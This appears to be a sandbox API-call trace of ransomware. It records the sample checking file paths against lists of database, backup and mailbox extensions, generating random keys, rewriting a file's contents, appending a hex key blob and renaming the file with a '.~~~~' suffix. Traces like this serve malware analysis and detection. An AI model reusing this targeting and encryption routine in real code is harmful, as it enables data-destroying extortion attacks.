	[0141.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".pst") returned 0x0
	[0141.961] lstrlenW (lpString=".dbv") returned 4
	[0141.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".dbv") returned 0x0
	[0141.962] lstrlenW (lpString=".SDF") returned 4
	[0141.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".SDF") returned 0x0
	[0141.962] lstrlenW (lpString=".dtxs") returned 5
	[0141.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".dtxs") returned 0x0
	[0141.962] lstrlenW (lpString=".db3") returned 4
	[0141.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".db3") returned 0x0
	[0141.962] lstrlenW (lpString=".OST") returned 4
	[0141.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".OST") returned 0x0
	[0141.962] lstrlenW (lpString=".dbx") returned 4
	[0141.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".dbx") returned 0x0
	[0141.962] lstrlenW (lpString=".DB3") returned 4
	[0141.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".DB3") returned 0x0
	[0141.962] lstrlenW (lpString=".DAT") returned 4
	[0141.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".DAT") returned 0x0
	[0141.962] lstrlenW (lpString=".VHDX") returned 5
	[0141.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".VHDX") returned 0x0
	[0141.962] lstrlenW (lpString=".ndf") returned 4
	[0141.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".ndf") returned 0x0
	[0141.962] lstrlenW (lpString=".DB") returned 3
	[0141.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".DB") returned 0x0
	[0141.962] lstrlenW (lpString=".sql") returned 4
	[0141.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".sql") returned 0x0
	[0141.962] lstrlenW (lpString=".MYD") returned 4
	[0141.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".MYD") returned 0x0
	[0141.962] lstrlenW (lpString=".DBT") returned 4
	[0141.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".DBT") returned 0x0
	[0141.963] lstrlenW (lpString=".ACCDB") returned 6
	[0141.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.963] lstrlenW (lpString=".fdb") returned 4
	[0141.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".fdb") returned 0x0
	[0141.963] lstrlenW (lpString=".bak") returned 4
	[0141.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".bak") returned 0x0
	[0141.963] lstrlenW (lpString=".myd") returned 4
	[0141.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".myd") returned 0x0
	[0141.963] lstrlenW (lpString=".DTXS") returned 5
	[0141.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".DTXS") returned 0x0
	[0141.963] lstrlenW (lpString=".ckp") returned 4
	[0141.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".ckp") returned 0x0
	[0141.963] lstrlenW (lpString=".dbt") returned 4
	[0141.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".dbt") returned 0x0
	[0141.963] lstrlenW (lpString=".db") returned 3
	[0141.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".db") returned 0x0
	[0141.963] lstrlenW (lpString=".TXT") returned 4
	[0141.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".TXT") returned 0x0
	[0141.963] lstrlenW (lpString=".MDF") returned 4
	[0141.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".MDF") returned 0x0
	[0141.963] lstrlenW (lpString=".bdb") returned 4
	[0141.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".bdb") returned 0x0
	[0141.963] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0141.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0141.964] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0141.965] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0141.965] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0141.965] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0141.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0141.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0141.965] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26195527130) returned 1
	[0141.965] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbe053b70, dwHighDateTime=0x1d60e1e)) 
	[0141.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0141.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0141.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0141.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3450
	[0141.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.966] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3450 | out: hHeap=0x300000) returned 1
	[0141.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.966] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b0b20
	[0141.966] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37b878
	[0141.966] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0b20 | out: hHeap=0x300000) returned 1
	[0141.966] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0141.966] GetLastError () returned 0x0
	[0141.967] GetLastError () returned 0x0
	[0141.967] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0141.967] GetLastError () returned 0x0
	[0141.967] GetLastError () returned 0x0
	[0141.967] ReadFile (in: hFile=0xc4, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x1001, lpOverlapped=0x0) returned 1
	[0142.008] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffefff, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.008] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x1001, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x1001, lpOverlapped=0x0) returned 1
	[0142.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0142.008] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.008] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.008] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.008] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.008] CloseHandle (hObject=0xc4) returned 1
	[0142.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b0bc8
	[0142.093] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir50b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir50b.gif.~~~~")) returned 1
	[0142.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0142.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0142.096] GetLastError () returned 0x0
	[0142.096] RtlWakeConditionVariable () returned 0x0
	[0142.096] GetCurrentThreadId () returned 0x9f4
	[0142.096] GetCurrentThreadId () returned 0x9f4
	[0142.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0142.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c6840 | out: hHeap=0x300000) returned 1
	[0142.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3808 | out: hHeap=0x300000) returned 1
	[0142.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6840
	[0142.097] lstrlenW (lpString=".scr") returned 4
	[0142.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".scr") returned 0x0
	[0142.097] lstrlenW (lpString=".cmd") returned 4
	[0142.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".cmd") returned 0x0
	[0142.097] lstrlenW (lpString=".dll") returned 4
	[0142.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".dll") returned 0x0
	[0142.097] lstrlenW (lpString=".bat") returned 4
	[0142.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".bat") returned 0x0
	[0142.097] lstrlenW (lpString=".cpl") returned 4
	[0142.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".cpl") returned 0x0
	[0142.097] lstrlenW (lpString=".sys") returned 4
	[0142.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".sys") returned 0x0
	[0142.097] lstrlenW (lpString=".msc") returned 4
	[0142.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".msc") returned 0x0
	[0142.097] lstrlenW (lpString=".com") returned 4
	[0142.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".com") returned 0x0
	[0142.097] lstrlenW (lpString=".lnk") returned 4
	[0142.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".lnk") returned 0x0
	[0142.097] lstrlenW (lpString=".msp") returned 4
	[0142.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".msp") returned 0x0
	[0142.098] lstrlenW (lpString=".pif") returned 4
	[0142.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".pif") returned 0x0
	[0142.098] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.098] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir7b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0142.100] lstrlenW (lpString=".sqb") returned 4
	[0142.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".sqb") returned 0x0
	[0142.100] lstrlenW (lpString=".ost") returned 4
	[0142.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".ost") returned 0x0
	[0142.100] lstrlenW (lpString=".txt") returned 4
	[0142.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".txt") returned 0x0
	[0142.100] lstrlenW (lpString=".mdt") returned 4
	[0142.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".mdt") returned 0x0
	[0142.100] lstrlenW (lpString=".BDB") returned 4
	[0142.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".BDB") returned 0x0
	[0142.100] lstrlenW (lpString=".eql") returned 4
	[0142.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".eql") returned 0x0
	[0142.100] lstrlenW (lpString=".DBF") returned 4
	[0142.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".DBF") returned 0x0
	[0142.100] lstrlenW (lpString=".EQL") returned 4
	[0142.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".EQL") returned 0x0
	[0142.100] lstrlenW (lpString=".FDB") returned 4
	[0142.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".FDB") returned 0x0
	[0142.100] lstrlenW (lpString=".EDB") returned 4
	[0142.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".EDB") returned 0x0
	[0142.100] lstrlenW (lpString=".DACPAC") returned 7
	[0142.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.100] lstrlenW (lpString=".VHD") returned 4
	[0142.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".VHD") returned 0x0
	[0142.101] lstrlenW (lpString=".DBV") returned 4
	[0142.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".DBV") returned 0x0
	[0142.101] lstrlenW (lpString=".dacpac") returned 7
	[0142.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".dacpac") returned 0x0
	[0142.101] lstrlenW (lpString=".sdf") returned 4
	[0142.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".sdf") returned 0x0
	[0142.101] lstrlenW (lpString=".accdb") returned 6
	[0142.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".accdb") returned 0x0
	[0142.101] lstrlenW (lpString=".DBX") returned 4
	[0142.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".DBX") returned 0x0
	[0142.101] lstrlenW (lpString=".MDT") returned 4
	[0142.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".MDT") returned 0x0
	[0142.101] lstrlenW (lpString=".SQB") returned 4
	[0142.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".SQB") returned 0x0
	[0142.101] lstrlenW (lpString=".vhd") returned 4
	[0142.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".vhd") returned 0x0
	[0142.101] lstrlenW (lpString=".bac") returned 4
	[0142.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".bac") returned 0x0
	[0142.101] lstrlenW (lpString=".mdf") returned 4
	[0142.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".mdf") returned 0x0
	[0142.101] lstrlenW (lpString=".BAK") returned 4
	[0142.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".BAK") returned 0x0
	[0142.101] lstrlenW (lpString=".BAC") returned 4
	[0142.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".BAC") returned 0x0
	[0142.101] lstrlenW (lpString=".dbs") returned 4
	[0142.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".dbs") returned 0x0
	[0142.102] lstrlenW (lpString=".vhdx") returned 5
	[0142.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".vhdx") returned 0x0
	[0142.102] lstrlenW (lpString=".NDF") returned 4
	[0142.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".NDF") returned 0x0
	[0142.102] lstrlenW (lpString=".dat") returned 4
	[0142.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".dat") returned 0x0
	[0142.102] lstrlenW (lpString=".DBS") returned 4
	[0142.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".DBS") returned 0x0
	[0142.102] lstrlenW (lpString=".CKP") returned 4
	[0142.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".CKP") returned 0x0
	[0142.102] lstrlenW (lpString=".edb") returned 4
	[0142.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".edb") returned 0x0
	[0142.102] lstrlenW (lpString=".PST") returned 4
	[0142.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".PST") returned 0x0
	[0142.102] lstrlenW (lpString=".dbf") returned 4
	[0142.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".dbf") returned 0x0
	[0142.102] lstrlenW (lpString=".SQL") returned 4
	[0142.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".SQL") returned 0x0
	[0142.102] lstrlenW (lpString=".pst") returned 4
	[0142.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".pst") returned 0x0
	[0142.102] lstrlenW (lpString=".dbv") returned 4
	[0142.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".dbv") returned 0x0
	[0142.102] lstrlenW (lpString=".SDF") returned 4
	[0142.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".SDF") returned 0x0
	[0142.102] lstrlenW (lpString=".dtxs") returned 5
	[0142.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".dtxs") returned 0x0
	[0142.103] lstrlenW (lpString=".db3") returned 4
	[0142.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".db3") returned 0x0
	[0142.103] lstrlenW (lpString=".OST") returned 4
	[0142.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".OST") returned 0x0
	[0142.103] lstrlenW (lpString=".dbx") returned 4
	[0142.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".dbx") returned 0x0
	[0142.103] lstrlenW (lpString=".DB3") returned 4
	[0142.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".DB3") returned 0x0
	[0142.103] lstrlenW (lpString=".DAT") returned 4
	[0142.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".DAT") returned 0x0
	[0142.103] lstrlenW (lpString=".VHDX") returned 5
	[0142.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".VHDX") returned 0x0
	[0142.103] lstrlenW (lpString=".ndf") returned 4
	[0142.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".ndf") returned 0x0
	[0142.103] lstrlenW (lpString=".DB") returned 3
	[0142.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".DB") returned 0x0
	[0142.103] lstrlenW (lpString=".sql") returned 4
	[0142.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".sql") returned 0x0
	[0142.103] lstrlenW (lpString=".MYD") returned 4
	[0142.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".MYD") returned 0x0
	[0142.103] lstrlenW (lpString=".DBT") returned 4
	[0142.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".DBT") returned 0x0
	[0142.103] lstrlenW (lpString=".ACCDB") returned 6
	[0142.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.103] lstrlenW (lpString=".fdb") returned 4
	[0142.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".fdb") returned 0x0
	[0142.104] lstrlenW (lpString=".bak") returned 4
	[0142.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", lpSrch=".bak") returned 0x0
	[0142.104] lstrlenW (lpString=".myd") returned 4
